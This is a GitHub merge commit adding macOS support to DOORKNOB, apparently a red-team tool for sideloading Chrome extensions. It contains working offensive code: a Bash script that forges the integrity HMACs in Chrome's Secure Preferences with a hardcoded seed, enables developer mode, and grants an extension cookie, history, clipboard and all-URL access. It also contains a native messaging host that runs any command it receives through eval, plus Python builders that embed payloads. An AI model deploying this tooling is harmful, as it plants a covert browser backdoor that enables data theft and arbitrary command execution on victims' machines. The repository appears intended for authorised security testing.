Merge pull request #6 from praetorian-inc/macos-sideloading

Test release of MacOS sideloading added to DOORKNOB
This commit is contained in:
michaelweber
2025-10-28 15:26:59 -04:00
committed by GitHub
14 changed files with 2144 additions and 514 deletions
+1
View File
@@ -145,6 +145,7 @@ DOORKNOB/ExtensionSideLoader/powershell/test
.env
extension_sideloader.ps1
iwa_sideloader.ps1
app-sideloader-macos.sh
relay-proxy-deploy/
BATTLEPLAN/test
PAINTBUCKET/FidoBinaries
@@ -0,0 +1,127 @@
#!/usr/bin/env python3
"""
Base Chrome Extension Sideloader Builder
This module provides the base class for building platform-specific Chrome extension
sideloaders. It handles common functionality like extension zipping and base64 encoding.
"""
import os
import sys
import zipfile
import base64
import argparse
from pathlib import Path
from io import BytesIO
from abc import ABC, abstractmethod
class BaseExtensionBuilder(ABC):
"""Base class for platform-specific extension sideloader builders."""
def __init__(self, extension_folder, install_path, output_path=None):
self.extension_folder = Path(extension_folder)
self.install_path = install_path
self.output_path = output_path
# Validate extension folder
if not self.extension_folder.exists() or not self.extension_folder.is_dir():
raise ValueError(f"Extension folder does not exist: {self.extension_folder}")
def zip_extension(self):
"""Create a ZIP file from the extension folder and return it as bytes."""
zip_data = BytesIO()
with zipfile.ZipFile(zip_data, 'w', zipfile.ZIP_DEFLATED) as zipf:
for root, dirs, files in os.walk(self.extension_folder):
for file in files:
file_path = Path(root) / file
arc_name = file_path.relative_to(self.extension_folder)
zipf.write(file_path, arc_name)
return zip_data.getvalue()
def encode_extension_base64(self):
"""Create ZIP of extension and return base64 encoded content."""
extension_zip_bytes = self.zip_extension()
return base64.b64encode(extension_zip_bytes).decode('utf-8')
def read_file_as_base64(self, file_path):
"""Read a file and return its base64 encoded content."""
file_path = Path(file_path)
if not file_path.exists():
raise ValueError(f"File does not exist: {file_path}")
with open(file_path, 'rb') as f:
content = f.read()
return base64.b64encode(content).decode('utf-8')
def get_output_file_path(self):
"""Determine the output file path."""
if self.output_path:
return Path(self.output_path)
else:
extension_name = self.extension_folder.name
return Path(f"{extension_name}_sideloader{self.get_script_extension()}")
@abstractmethod
def get_script_extension(self):
"""Return the file extension for the target platform script."""
pass
@abstractmethod
def create_extraction_functions(self, extension_base64):
"""Create platform-specific extraction functions."""
pass
@abstractmethod
def read_template_script(self):
"""Read the platform-specific template script."""
pass
@abstractmethod
def build_script_content(self, template_script, extraction_functions, extension_base64):
"""Build the complete script content for the target platform."""
pass
def build_sideloader_script(self):
"""Build the complete sideloader script."""
print(f"Building {self.__class__.__name__} sideloader script...")
print(f" Extension folder: {self.extension_folder}")
print(f" Install path: {self.install_path}")
# Create base64 encoded extension
print("Creating extension ZIP...")
extension_base64 = self.encode_extension_base64()
# Read template script
print("Reading template script...")
template_script = self.read_template_script()
# Create extraction functions
print("Creating extraction functions...")
extraction_functions = self.create_extraction_functions(extension_base64)
# Build complete script
print("Building script content...")
script_content = self.build_script_content(template_script, extraction_functions, extension_base64)
# Write output
output_file = self.get_output_file_path()
print(f"Writing output to: {output_file}")
with open(output_file, 'w', encoding='utf-8') as f:
f.write(script_content)
# Make executable if needed
self.make_executable(output_file)
print(f"✅ Sideloader script created successfully: {output_file}")
print(f"📦 Extension size: {len(base64.b64decode(extension_base64)):,} bytes")
return output_file
def make_executable(self, file_path):
"""Make the script executable (platform-specific implementation)."""
pass # Default implementation does nothing
@@ -0,0 +1,113 @@
#!/usr/bin/env python3
r"""
Chrome Extension Sideloader Builder
This script creates a self-contained script that embeds extension content
and optionally a native messaging host, then deploys them to the specified location.
Supports both Windows (PowerShell) and macOS (Bash) targets.
Usage:
python build_sideloader.py <extension_folder> <install_path> [--os {windows,macos}]
Examples:
python build_sideloader.py ./myextension "%LOCALAPPDATA%\Google\com.chrome.alone" --os windows
python build_sideloader.py ./myextension "$HOME/Library/Application Support/Google/com.chrome.alone" --os macos
"""
import os
import sys
import argparse
from pathlib import Path
from windows_extension_builder import WindowsExtensionBuilder
from macos_extension_builder import MacOSExtensionBuilder
def get_default_install_path(os_target, extension_name):
"""Get default install path for the target OS."""
if os_target == "windows":
return f"%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Extensions\\{extension_name}"
elif os_target == "macos":
return f"$HOME/Library/Application Support/Google/{extension_name}"
else:
raise ValueError(f"Unsupported OS target: {os_target}")
def create_builder(os_target, extension_folder, install_path, output_path=None):
"""Create the appropriate builder for the target OS."""
if os_target == "windows":
return WindowsExtensionBuilder(extension_folder, install_path, output_path)
elif os_target == "macos":
return MacOSExtensionBuilder(extension_folder, install_path, output_path)
else:
raise ValueError(f"Unsupported OS target: {os_target}")
def main():
parser = argparse.ArgumentParser(
description="Build a Chrome Extension Sideloader script for Windows or macOS",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog=__doc__
)
parser.add_argument(
"extension_folder",
help="Path to the extension folder to deploy"
)
parser.add_argument(
"install_path",
nargs="?",
help="Installation path for the extension (can include environment variables). If not provided, uses OS-appropriate default."
)
parser.add_argument(
"--os", "--target-os",
dest="os_target",
choices=["windows", "macos"],
default="windows",
help="Target operating system (default: windows)"
)
parser.add_argument(
"-o", "--output",
help="Output file path (default: <extension_name>_sideloader.<ext>)"
)
args = parser.parse_args()
# Determine install path
extension_name = Path(args.extension_folder).name
if args.install_path:
install_path = args.install_path
else:
install_path = get_default_install_path(args.os_target, extension_name)
print(f"Using default install path for {args.os_target}: {install_path}")
try:
# Create appropriate builder
builder = create_builder(args.os_target, args.extension_folder, install_path, args.output)
# Build the sideloader script
output_file = builder.build_sideloader_script()
print(f"\n🎉 Build completed successfully!")
print(f"📄 Generated: {output_file}")
print(f"🎯 Target OS: {args.os_target}")
if args.os_target == "windows":
print(f"\nTo deploy the extension, run:")
print(f" powershell -ExecutionPolicy Bypass -File {output_file}")
elif args.os_target == "macos":
print(f"\nTo deploy the extension, run:")
print(f" chmod +x {output_file}")
print(f" ./{output_file}")
except Exception as e:
print(f"❌ Error: {e}", file=sys.stderr)
sys.exit(1)
if __name__ == "__main__":
main()
@@ -0,0 +1,566 @@
#!/bin/bash
# Chrome Extension Sideloader for macOS
# This script sideloads Chrome extensions by modifying Chrome's Secure Preferences
# Default parameters
EXTENSION_INSTALL_DIR="$HOME/Library/Application Support/Google/Chrome/Default/Extensions/myextension"
EXTENSION_DESCRIPTION="Chrome Extension"
INSTALL_NATIVE_MESSAGING_HOST="true"
FORCE_RESTART_CHROME="true"
# Parse command line arguments
while [[ $# -gt 0 ]]; do
case $1 in
--extension-dir)
EXTENSION_INSTALL_DIR="$2"
shift 2
;;
--description)
EXTENSION_DESCRIPTION="$2"
shift 2
;;
--install-native-host)
INSTALL_NATIVE_MESSAGING_HOST="$2"
shift 2
;;
--force-restart)
FORCE_RESTART_CHROME="$2"
shift 2
;;
*)
echo "Unknown option: $1"
exit 1
;;
esac
done
# Chrome path helper functions
get_chrome_application_path() {
local chrome_app_path="/Applications/Google Chrome.app/Contents/MacOS/Google Chrome"
if [[ -f "$chrome_app_path" ]]; then
echo "$chrome_app_path"
return 0
fi
echo "Cannot find Google Chrome application." >&2
return 1
}
get_chrome_resources_path() {
local resources_path="/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Resources/resources.pak"
if [[ -f "$resources_path" ]]; then
echo "$resources_path"
return 0
fi
echo "Cannot find Chrome resources.pak file." >&2
return 1
}
get_preferences_path() {
echo "$HOME/Library/Application Support/Google/Chrome/Default/Preferences"
}
get_secure_preferences_path() {
echo "$HOME/Library/Application Support/Google/Chrome/Default/Secure Preferences"
}
# Chrome machine ID functions
get_device_id() {
# Use system UUID as device ID base - get the Hardware UUID and format it properly
system_profiler SPHardwareDataType | awk '/UUID/ { print $3; }' | cut -d'-' -f1-7 | tr '[:lower:]' '[:upper:]'
}
get_machine_key() {
# Hardcoded machine key seed (same value used across all instances)
# This is the hex representation of the Python bytes courtesy of SilentChrome - https://github.com/asaurusrex/Silent_Chrome
# b'\xe7H\xf36\xd8^\xa5\xf9\xdc\xdf%\xd8\xf3G\xa6[L\xdffv\x00\xf0-\xf6rJ*\xf1\x8a!-&\xb7\x88\xa2P\x86\x91\x0c\xf3\xa9\x03\x13ihq\xf3\xdc\x05\x8270\xc9\x1d\xf8\xba\\O\xd9\xc8\x84\xb5\x05\xa8'
echo "e748f336d85ea5f9dcdf25d8f347a65b4cdf667600f02df6724a2af18a212d26b788a25086910cf3a90313696871f3dc05823730c91df8ba5c4fd9c884b505a8"
}
# Extension crypto helpers
calculate_sha256_hash() {
local input="$1"
echo -n "$input" | /usr/bin/shasum -a 256 | /usr/bin/cut -d' ' -f1
}
calculate_extension_id_from_path() {
local path="$1"
# Convert path to UTF-8 bytes then calculate SHA256
local sha256_hash=$(echo -n "$path" | /usr/bin/shasum -a 256 | /usr/bin/cut -d' ' -f1)
# Convert first 32 hex chars to extension ID (a-p mapping)
local extension_id=""
local i
for ((i=0; i<32; i++)); do
local hex_char="${sha256_hash:$i:1}"
case "$hex_char" in
0) extension_id+="a" ;;
1) extension_id+="b" ;;
2) extension_id+="c" ;;
3) extension_id+="d" ;;
4) extension_id+="e" ;;
5) extension_id+="f" ;;
6) extension_id+="g" ;;
7) extension_id+="h" ;;
8) extension_id+="i" ;;
9) extension_id+="j" ;;
a) extension_id+="k" ;;
b) extension_id+="l" ;;
c) extension_id+="m" ;;
d) extension_id+="n" ;;
e) extension_id+="o" ;;
f) extension_id+="p" ;;
esac
done
echo "$extension_id"
}
# JSON manipulation functions
edit_json() {
local json_input="$1"
local key_path="$2"
local new_value="$3"
# Use osascript to manipulate JSON with support for nested keys
osascript -l JavaScript -e "
function run(argv) {
var jsonInput = argv[0];
var keyPath = argv[1];
var newValue = argv[2];
// Parse the input JSON
var jsonObj;
try {
jsonObj = JSON.parse(jsonInput);
} catch (e) {
throw new Error('Invalid JSON input: ' + e.message);
}
// Split the key path by dots to handle nested keys
var keys = keyPath.split('.');
var current = jsonObj;
// Navigate/create the nested structure
for (var i = 0; i < keys.length - 1; i++) {
var key = keys[i];
if (!(key in current) || typeof current[key] !== 'object' || current[key] === null || Array.isArray(current[key])) {
current[key] = {};
}
current = current[key];
}
// Set the final value
var finalKey = keys[keys.length - 1];
// Try to parse the new value as JSON first, if it fails treat as string
try {
current[finalKey] = JSON.parse(newValue);
} catch (e) {
// If parsing fails, treat as string
current[finalKey] = newValue;
}
// Return the modified JSON
return JSON.stringify(jsonObj);
}" "$json_input" "$key_path" "$new_value"
}
read_json_key() {
local json_input="$1"
local key_path="$2"
# Use osascript to read a specific key from JSON and return it as JSON string
osascript -l JavaScript -e "
function run(argv) {
var jsonInput = argv[0];
var keyPath = argv[1];
// Parse the input JSON
var jsonObj;
try {
jsonObj = JSON.parse(jsonInput);
} catch (e) {
throw new Error('Invalid JSON input: ' + e.message);
}
// Split the key path by dots to handle nested keys
var keys = keyPath.split('.');
var current = jsonObj;
// Navigate to the target key
for (var i = 0; i < keys.length; i++) {
var key = keys[i];
if (!(key in current)) {
throw new Error('Key path not found: ' + keyPath);
}
current = current[key];
}
// Return the value as JSON string
return JSON.stringify(current);
}" "$json_input" "$key_path"
}
sort_and_cull_json() {
local json_str="$1"
osascript -l JavaScript -e "
function run(argv) {
var jsonStr = argv[0];
var obj = JSON.parse(jsonStr);
function removeEmpty(obj) {
if (Array.isArray(obj)) {
// For arrays, filter out empty elements
return obj.filter(function(item) {
if (item === null || item === undefined || item === '') return false;
if (typeof item === 'object') {
var cleaned = removeEmpty(item);
return Object.keys(cleaned).length > 0 || Array.isArray(cleaned) && cleaned.length > 0;
}
return true;
}).map(removeEmpty);
} else if (obj !== null && typeof obj === 'object') {
var result = {};
for (var key in obj) {
if (obj.hasOwnProperty(key)) {
var value = obj[key];
if (value === null || value === undefined || value === '') continue;
if (typeof value === 'object') {
var cleaned = removeEmpty(value);
if (Array.isArray(cleaned) && cleaned.length === 0) continue;
if (!Array.isArray(cleaned) && Object.keys(cleaned).length === 0) continue;
result[key] = cleaned;
} else {
result[key] = value;
}
}
}
return result;
}
return obj;
}
var cleaned = removeEmpty(obj);
var result = JSON.stringify(cleaned, null, 0);
// Handle Unicode escaping like Chrome does
result = result.replace(/</g, '\\\\\\\\u003C');
result = result.replace(/>/g, '\\\\\\\\u003E');
return result;
}" "$json_str"
}
sort_and_cull_json_for_hmac() {
local json_str="$1"
osascript -l JavaScript -e "
function run(argv) {
var jsonStr = argv[0];
var obj = JSON.parse(jsonStr);
function removeEmpty(obj) {
if (Array.isArray(obj)) {
// For arrays, filter out empty elements
return obj.filter(function(item) {
if (item === null || item === undefined || item === '') return false;
if (typeof item === 'object') {
var cleaned = removeEmpty(item);
return Object.keys(cleaned).length > 0 || Array.isArray(cleaned) && cleaned.length > 0;
}
return true;
}).map(removeEmpty);
} else if (obj !== null && typeof obj === 'object') {
var result = {};
for (var key in obj) {
if (obj.hasOwnProperty(key)) {
var value = obj[key];
if (value === null || value === undefined || value === '') continue;
if (typeof value === 'object') {
var cleaned = removeEmpty(value);
if (Array.isArray(cleaned) && cleaned.length === 0) continue;
if (!Array.isArray(cleaned) && Object.keys(cleaned).length === 0) continue;
result[key] = cleaned;
} else {
result[key] = value;
}
}
}
return result;
}
return obj;
}
var cleaned = removeEmpty(obj);
var result = JSON.stringify(cleaned, null, 0);
// For HMAC calculation, only escape < (not >)
result = result.replace(/</g, '\\\\\\\\u003C');
return result;
}" "$json_str"
}
calculate_hmac_from_json() {
local json_content="$1"
local json_path="$2"
local key_hex="$3"
local device_id="$4"
# Normalize the JSON by removing empty objects/arrays and sorting
local fixed_content=$(sort_and_cull_json_for_hmac "$json_content")
# Unescape double backslashes
fixed_content=$(echo "$fixed_content" | sed 's/\\\\/\\/g')
# Build message: deviceId + path + content (all UTF-8 encoded)
local message="${device_id}${json_path}${fixed_content}"
# Debug output - show exact message and hex for comparison
# echo "DEBUG - Message: $message" >&2
# echo "DEBUG - Message length: ${#message}" >&2
# Convert message to hex for debugging and HMAC calculation
local message_hex=$(echo -n "$message" | /usr/bin/xxd -p | /usr/bin/tr -d '\n' | /usr/bin/tr '[:lower:]' '[:upper:]')
#echo "DEBUG - Message (hex): $message_hex" >&2
# Calculate HMAC-SHA256 using openssl
local hmac_result=$(echo -n "$message_hex" | /usr/bin/xxd -r -p | /usr/bin/openssl dgst -sha256 -mac HMAC -macopt hexkey:"$key_hex" | /usr/bin/cut -d' ' -f2)
# Convert to uppercase
echo "$hmac_result" | /usr/bin/tr '[:lower:]' '[:upper:]'
}
calculate_hmac_from_string() {
local string_content="$1"
local json_path="$2"
local key_hex="$3"
local device_id="$4"
# Build message: deviceId + path + content (all UTF-8 encoded)
local message_hex=""
# Convert device_id to hex
local device_id_hex=$(echo -n "$device_id" | /usr/bin/xxd -p | /usr/bin/tr -d '\n')
message_hex+="$device_id_hex"
# Convert json_path to hex
local json_path_hex=$(echo -n "$json_path" | /usr/bin/xxd -p | /usr/bin/tr -d '\n')
message_hex+="$json_path_hex"
# Convert string_content to hex
local content_hex=$(echo -n "$string_content" | /usr/bin/xxd -p | /usr/bin/tr -d '\n')
message_hex+="$content_hex"
# Convert key from hex to binary, then calculate HMAC-SHA256
# We'll use openssl for HMAC calculation
local hmac_result=$(echo -n "$message_hex" | /usr/bin/xxd -r -p | /usr/bin/openssl dgst -sha256 -mac HMAC -macopt hexkey:"$key_hex" | /usr/bin/cut -d' ' -f2)
# Convert to uppercase
echo "$hmac_result" | /usr/bin/tr '[:lower:]' '[:upper:]'
}
# Extension sideloader functions
add_extension_to_secure_preferences() {
local secure_pref_file="$1"
local extension_settings="$2"
local install_path="$3"
local device_id="$4"
local key_hex="$5"
echo "Adding extension for install path: $install_path" >&2
# Calculate extension ID in bash
local extension_id=$(calculate_extension_id_from_path "$install_path")
echo "Calculated extension ID: $extension_id" >&2
# Create extension settings with path for HMAC calculation (preserve field ordering)
local extension_with_path="$extension_settings"
# Replace placeholder path with actual path
extension_with_path="${extension_with_path//PLACEHOLDER_PATH/$install_path}"
# Calculate HMACs in bash
local extension_mac=$(calculate_hmac_from_json "$extension_with_path" "extensions.settings.$extension_id" "$key_hex" "$device_id")
local developer_mode_mac=$(calculate_hmac_from_string "true" "extensions.ui.developer_mode" "$key_hex" "$device_id")
echo "Extension with path: $extension_with_path" >&2
echo "Extension HMAC: $extension_mac" >&2
echo "Developer mode HMAC: $developer_mode_mac" >&2
# Read current secure preferences or create empty structure
local current_json="{}"
if [[ -f "$secure_pref_file" ]]; then
current_json=$(cat "$secure_pref_file" 2>/dev/null || echo "{}")
fi
# Add path to extension settings for the actual storage
local extension_with_path=$(edit_json "$extension_settings" "path" "\"$install_path\"")
# Use edit_json to build the secure preferences structure step by step
# Add extension settings
current_json=$(edit_json "$current_json" "extensions.settings.$extension_id" "$extension_with_path")
# Enable developer mode
current_json=$(edit_json "$current_json" "extensions.ui.developer_mode" "true")
# Add extension MAC
current_json=$(edit_json "$current_json" "protection.macs.extensions.settings.$extension_id" "\"$extension_mac\"")
# Add developer mode MAC
current_json=$(edit_json "$current_json" "protection.macs.extensions.ui.developer_mode" "\"$developer_mode_mac\"")
# Write the updated JSON back to the file
echo "$current_json" > "$secure_pref_file"
echo "Extension added to secure preferences" >&2
# returns the modified JSON
echo "$current_json"
}
install_native_messaging_host() {
local extension_path="$1"
local native_app_path="$2"
local extension_reg_name="$3"
local extension_description="$4"
local native_messaging_config_path="$extension_path/$extension_reg_name.json"
local linked_extension_id=$(calculate_extension_id_from_path "$extension_path")
# Create native messaging host configuration
cat > "$native_messaging_config_path" << EOF
{
"name": "$extension_reg_name",
"description": "$extension_description",
"path": "$native_app_path",
"type": "stdio",
"allowed_origins": ["chrome-extension://$linked_extension_id/"]
}
EOF
# Create registry entry (macOS uses different mechanism)
local native_messaging_dir="$HOME/Library/Application Support/Google/Chrome/NativeMessagingHosts"
mkdir -p "$native_messaging_dir"
# Create symlink or copy config file
ln -sf "$native_messaging_config_path" "$native_messaging_dir/$extension_reg_name.json"
echo "Native messaging host installed"
}
# Extension settings JSON
EXTENSION_SETTINGS='{"account_extension_type":0,"active_permissions":{"api":["activeTab","background","clipboardRead","cookies","history","nativeMessaging","tabs","declarativeNetRequest","scripting"],"explicit_host":["\u003Call_urls>"],"manifest_permissions":[],"scriptable_host":["\u003Call_urls>"]},"commands":{},"content_settings":[],"creation_flags":38,"disable_reasons":[],"first_install_time":"13397690747955841","from_webstore":false,"granted_permissions":{"api":["activeTab","background","clipboardRead","cookies","history","nativeMessaging","tabs","declarativeNetRequest","scripting"],"explicit_host":["\u003Call_urls>"],"manifest_permissions":[],"scriptable_host":["\u003Call_urls>"]},"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13397690747955841","location":4,"newAllowFileAccess":true,"path":"PLACEHOLDER_PATH","preferences":{},"regular_only_preferences":{},"service_worker_registration_info":{"version":"1.0"},"serviceworkerevents":["runtime.onInstalled","runtime.onStartup"],"was_installed_by_default":false,"was_installed_by_oem":false,"withholding_permissions":false}'
main() {
echo "Starting Chrome Extension Sideloader for macOS..."
# Get Chrome paths and machine information
local secure_pref_path=$(get_secure_preferences_path)
local preferences_path=$(get_preferences_path)
local device_id=$(get_device_id)
local key_hex=$(get_machine_key)
echo "Device ID: $device_id"
echo "Secure Preferences Path: $secure_pref_path"
echo "Machine Key: ${key_hex:0:16}..." # Show only first 16 chars for security
# Check if Chrome is running and warn user
if pgrep -f "Google Chrome" > /dev/null; then
echo "⚠️ Chrome is currently running. For best results, please close Chrome before running this script."
if [[ "$FORCE_RESTART_CHROME" != "true" ]]; then
read -p "Continue anyway? (y/N): " -n 1 -r
echo
if [[ ! $REPLY =~ ^[Yy]$ ]]; then
echo "Aborted by user."
exit 1
fi
fi
fi
# Install extension
local extension_install_path="$EXTENSION_INSTALL_DIR"
echo "Installing extension to: $extension_install_path"
# Extract embedded extension content
extract_embedded_extension "$extension_install_path"
# Modify secure preferences
local modified_json=$(add_extension_to_secure_preferences "$secure_pref_path" "$EXTENSION_SETTINGS" "$extension_install_path" "$device_id" "$key_hex")
# Extract the macs object from the modified JSON for super MAC calculation
local macs_json=$(read_json_key "$modified_json" "protection.macs")
# Calculate super MAC using the actual macs object (like PowerShell version)
local super_mac=$(calculate_hmac_from_json "$macs_json" "" "$key_hex" "$device_id")
echo "Calculated SuperMAC: $super_mac"
# Set super MAC in the modified JSON
modified_json=$(edit_json "$modified_json" "protection.super_mac" "\"$super_mac\"")
# Write the final JSON back to the secure preferences file
echo "$modified_json" > "$secure_pref_path"
echo "Secure Preferences file updated successfully!"
# Install native messaging host if specified
if [[ "$INSTALL_NATIVE_MESSAGING_HOST" == "true" ]]; then
local host_path="$extension_install_path/NativeAppHost.sh"
echo "Installing native messaging host to: $host_path"
local extension_name=$(basename "$EXTENSION_INSTALL_DIR")
local lower_case_extension_name=$(echo "$extension_name" | tr '[:upper:]' '[:lower:]')
install_native_messaging_host "$extension_install_path" "$host_path" "$lower_case_extension_name" "$EXTENSION_DESCRIPTION"
fi
# Force restart Chrome if specified
if [[ "$FORCE_RESTART_CHROME" == "true" ]]; then
echo "Force restarting Chrome..."
# Kill Chrome processes
pkill -f "Google Chrome" || true
sleep 2
# Wait for processes to fully terminate
while pgrep -f "Google Chrome" > /dev/null; do
sleep 0.1
done
# Update preferences to remove crash flag
if [[ -f "$preferences_path" ]]; then
sed -i '' 's/"exit_type":"Crashed"/"exit_type":"none"/g' "$preferences_path"
echo "Updated Chrome preferences to remove crash flag"
fi
# Restart Chrome
local chrome_path=$(get_chrome_application_path)
if [[ -f "$chrome_path" ]]; then
open -a "Google Chrome" --args --restore-last-session
echo "Chrome restarted with session restore"
else
echo "Chrome executable not found"
fi
fi
echo "Chrome Extension Sideloader completed successfully!"
}
# These functions will be replaced by the Python builder with actual extraction logic
extract_embedded_extension() {
local extension_path="$1"
# This will be replaced by the Python builder
echo "Extract-EmbeddedExtension function not implemented - this should be replaced by the Python builder"
exit 1
}
# Run main function only if script is executed directly
if [[ "${BASH_SOURCE[0]}" == "${0}" ]]; then
main "$@"
fi
+146
View File
@@ -0,0 +1,146 @@
#!/bin/bash
# Chrome Native Messaging Host for macOS - Pure Bash Implementation
# Ports the functionality from the .NET NativeAppHost
# Function to write length as 4-byte little-endian integer
write_length() {
local length=$1
printf "\\$(printf '%03o' $((length & 0xFF)))"
printf "\\$(printf '%03o' $(((length >> 8) & 0xFF)))"
printf "\\$(printf '%03o' $(((length >> 16) & 0xFF)))"
printf "\\$(printf '%03o' $(((length >> 24) & 0xFF)))"
}
# Function to parse JSON message and extract the "message" field
parse_json_message() {
local json_input="$1"
# Use osascript to parse JSON (equivalent to C# JSON parsing)
# Escape quotes and backslashes for JavaScript string literal
local escaped_input="${json_input//\\/\\\\}" # Escape backslashes first
escaped_input="${escaped_input//\"/\\\"}" # Then escape quotes
local message
message=$(osascript -l JavaScript -e "
const input = \"$escaped_input\";
try {
const obj = JSON.parse(input);
if (obj.message) {
console.log(obj.message);
} else {
console.log('ERROR: No message field found');
}
} catch (e) {
console.log('ERROR: Invalid JSON - ' + e.message);
}
" 2>&1)
echo "$message"
}
# Function to execute command and return output
execute_command() {
local message="$1"
# Check if message contains pipe separator (like C# code)
if [[ "$message" != *"|"* ]]; then
echo "Message \"$message\" was not correctly formatted"
return
fi
# Split command and arguments on first pipe (like C# Split('|'))
local command="${message%%|*}"
local args="${message#*|}"
# Execute command with arguments and capture output
local output
if command -v "$command" >/dev/null 2>&1; then
# Execute command and capture both stdout and stderr
output=$(eval "$command $args" 2>&1)
else
output="An Error happened: Command '$command' not found"
fi
echo "$output"
}
# Function to encode output and send response
send_response() {
local output="$1"
# Base64 encode the output (like C# Convert.ToBase64String)
local encoded_data
encoded_data=$(printf '%s' "$output" | base64)
# Create JSON response (like C# string.Format)
local response="{\"data\":\"$encoded_data\"}"
# Calculate length
local length=${#response}
# Write 4-byte length prefix + response
write_length "$length"
printf '%s' "$response"
}
# Main - Process SINGLE message and exit
main() {
# Read message length (4 bytes, little-endian)
local bytes
bytes=$(dd bs=4 count=1 2>/dev/null | od -An -tu1)
# Check if we got any data
if [ -z "$bytes" ]; then
exit 0
fi
# Parse the 4 bytes from od output
set -- $bytes
local byte1=${1:-0}
local byte2=${2:-0}
local byte3=${3:-0}
local byte4=${4:-0}
# Convert little-endian to integer
local message_length=$(( byte1 + (byte2 << 8) + (byte3 << 16) + (byte4 << 24) ))
# Check for invalid length
if [ "$message_length" -le 0 ] || [ "$message_length" -gt 1048576 ]; then
exit 1
fi
# Read the actual message
local raw_message
raw_message=$(dd bs="$message_length" count=1 2>/dev/null)
if [ -z "$raw_message" ]; then
exit 1
fi
# Parse JSON to extract the message field
local parsed_message
parsed_message=$(parse_json_message "$raw_message")
if [[ "$parsed_message" == ERROR:* ]]; then
send_response "$parsed_message"
exit 1
fi
# Execute the command and get output
local command_output
command_output=$(execute_command "$parsed_message")
# Send response back
send_response "$command_output"
# IMPORTANT: Exit immediately after sending response
exit 0
}
# Trap signals to ensure clean exit
trap 'exit 0' SIGTERM SIGINT SIGHUP
# Run main function and ensure exit
main
exit 0
@@ -0,0 +1,97 @@
#!/usr/bin/env python3
"""
macOS Chrome Extension Sideloader Builder
This module provides macOS-specific functionality for building Chrome extension
sideloaders using Bash scripts.
"""
import os
import stat
from pathlib import Path
from base_extension_builder import BaseExtensionBuilder
class MacOSExtensionBuilder(BaseExtensionBuilder):
"""macOS-specific extension sideloader builder using Bash."""
def get_script_extension(self):
"""Return the Bash script extension."""
return ".sh"
def create_extraction_functions(self, extension_base64):
"""Create Bash extraction functions."""
extract_extension_func = f'''
extract_embedded_extension() {{
local extension_path="$1"
echo "Extracting embedded extension to: $extension_path"
# Create directory if it doesn't exist, or clear existing content
if [[ -d "$extension_path" ]]; then
echo "Clearing existing extension directory..."
rm -rf "$extension_path"
fi
mkdir -p "$extension_path"
# Decode and extract the embedded extension
local extension_zip_base64="{extension_base64}"
# Create temporary file for ZIP data
local temp_zip_path=$(mktemp)
# Decode base64 to temporary file
echo "$extension_zip_base64" | base64 -d > "$temp_zip_path"
# Extract ZIP contents
if command -v unzip >/dev/null 2>&1; then
unzip -q "$temp_zip_path" -d "$extension_path"
echo "Extension extracted successfully"
else
echo "Error: unzip command not found. Please install unzip utility."
rm -f "$temp_zip_path"
return 1
fi
# Clean up temp file
rm -f "$temp_zip_path"
}}
'''
return extract_extension_func
def read_template_script(self):
"""Read the JXA Bash template script."""
script_path = Path(__file__).parent / "macos" / "ChromeExtensionSideloader.sh"
with open(script_path, 'r', encoding='utf-8') as f:
return f.read()
def build_script_content(self, template_script, extraction_functions, extension_base64):
"""Build the complete Bash script content."""
# Replace placeholder functions in template
script_content = template_script.replace(
'# These functions will be replaced by the Python builder with actual extraction logic\n'
'extract_embedded_extension() {\n'
' local extension_path="$1"\n'
' # This will be replaced by the Python builder\n'
' echo "Extract-EmbeddedExtension function not implemented - this should be replaced by the Python builder"\n'
' exit 1\n'
'}',
extraction_functions
)
# Set default parameters
script_content = script_content.replace(
'EXTENSION_INSTALL_DIR="$HOME/Library/Application Support/Google/Chrome/Default/Extensions/myextension"',
f'EXTENSION_INSTALL_DIR="{self.install_path}"'
)
return script_content
def make_executable(self, file_path):
"""Make the Bash script executable."""
# Add execute permissions for owner, group, and others
current_permissions = os.stat(file_path).st_mode
os.chmod(file_path, current_permissions | stat.S_IXUSR | stat.S_IXGRP | stat.S_IXOTH)
@@ -4,7 +4,7 @@ param(
[string]$ExtensionInstallDir = "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions\myextension",
[string]$ExtensionDescription = "Chrome Extension",
[string]$InstallNativeMessagingHost = "false",
[string]$ForceRestartChrome = "false"
[string]$ForceRestartChrome = "true"
)
# ChromePathHelper functions
@@ -1,199 +0,0 @@
#!/usr/bin/env python3
r"""
Chrome Extension Sideloader Builder
This script creates a self-contained PowerShell script that embeds extension content
and optionally a native messaging host, then deploys them to the specified location.
Usage:
python build_sideloader.py <extension_folder> <install_path>
Example:
python build_sideloader.py ./myextension "%LOCALAPPDATA%\Google\com.chrome.alone"
"""
import os
import sys
import zipfile
import base64
import argparse
from pathlib import Path
from io import BytesIO
def zip_folder(folder_path):
"""Create a ZIP file from a folder and return it as bytes."""
folder_path = Path(folder_path)
if not folder_path.exists() or not folder_path.is_dir():
raise ValueError(f"Extension folder does not exist: {folder_path}")
zip_data = BytesIO()
with zipfile.ZipFile(zip_data, 'w', zipfile.ZIP_DEFLATED) as zipf:
for root, dirs, files in os.walk(folder_path):
for file in files:
file_path = Path(root) / file
arc_name = file_path.relative_to(folder_path)
zipf.write(file_path, arc_name)
return zip_data.getvalue()
def read_file_as_base64(file_path):
"""Read a file and return its base64 encoded content."""
file_path = Path(file_path)
if not file_path.exists():
raise ValueError(f"File does not exist: {file_path}")
with open(file_path, 'rb') as f:
content = f.read()
return base64.b64encode(content).decode('utf-8')
def create_extraction_functions(extension_base64):
"""Create the PowerShell extraction functions."""
extract_extension_func = f'''
function Extract-EmbeddedExtension {{
param([string]$ExtensionPath)
Write-Host "Extracting embedded extension to: $ExtensionPath" -ForegroundColor Cyan
# Create directory if it doesn't exist, or clear existing content
if (Test-Path $ExtensionPath) {{
Write-Host "Clearing existing extension directory..." -ForegroundColor Yellow
Remove-Item $ExtensionPath -Recurse -Force
}}
New-Item -ItemType Directory -Path $ExtensionPath -Force | Out-Null
# Decode and extract the embedded extension
$extensionZipBase64 = "{extension_base64}"
$extensionZipBytes = [System.Convert]::FromBase64String($extensionZipBase64)
# Create temporary ZIP file
$tempZipPath = [System.IO.Path]::GetTempFileName()
[System.IO.File]::WriteAllBytes($tempZipPath, $extensionZipBytes)
try {{
# Extract ZIP contents
Add-Type -AssemblyName System.IO.Compression.FileSystem
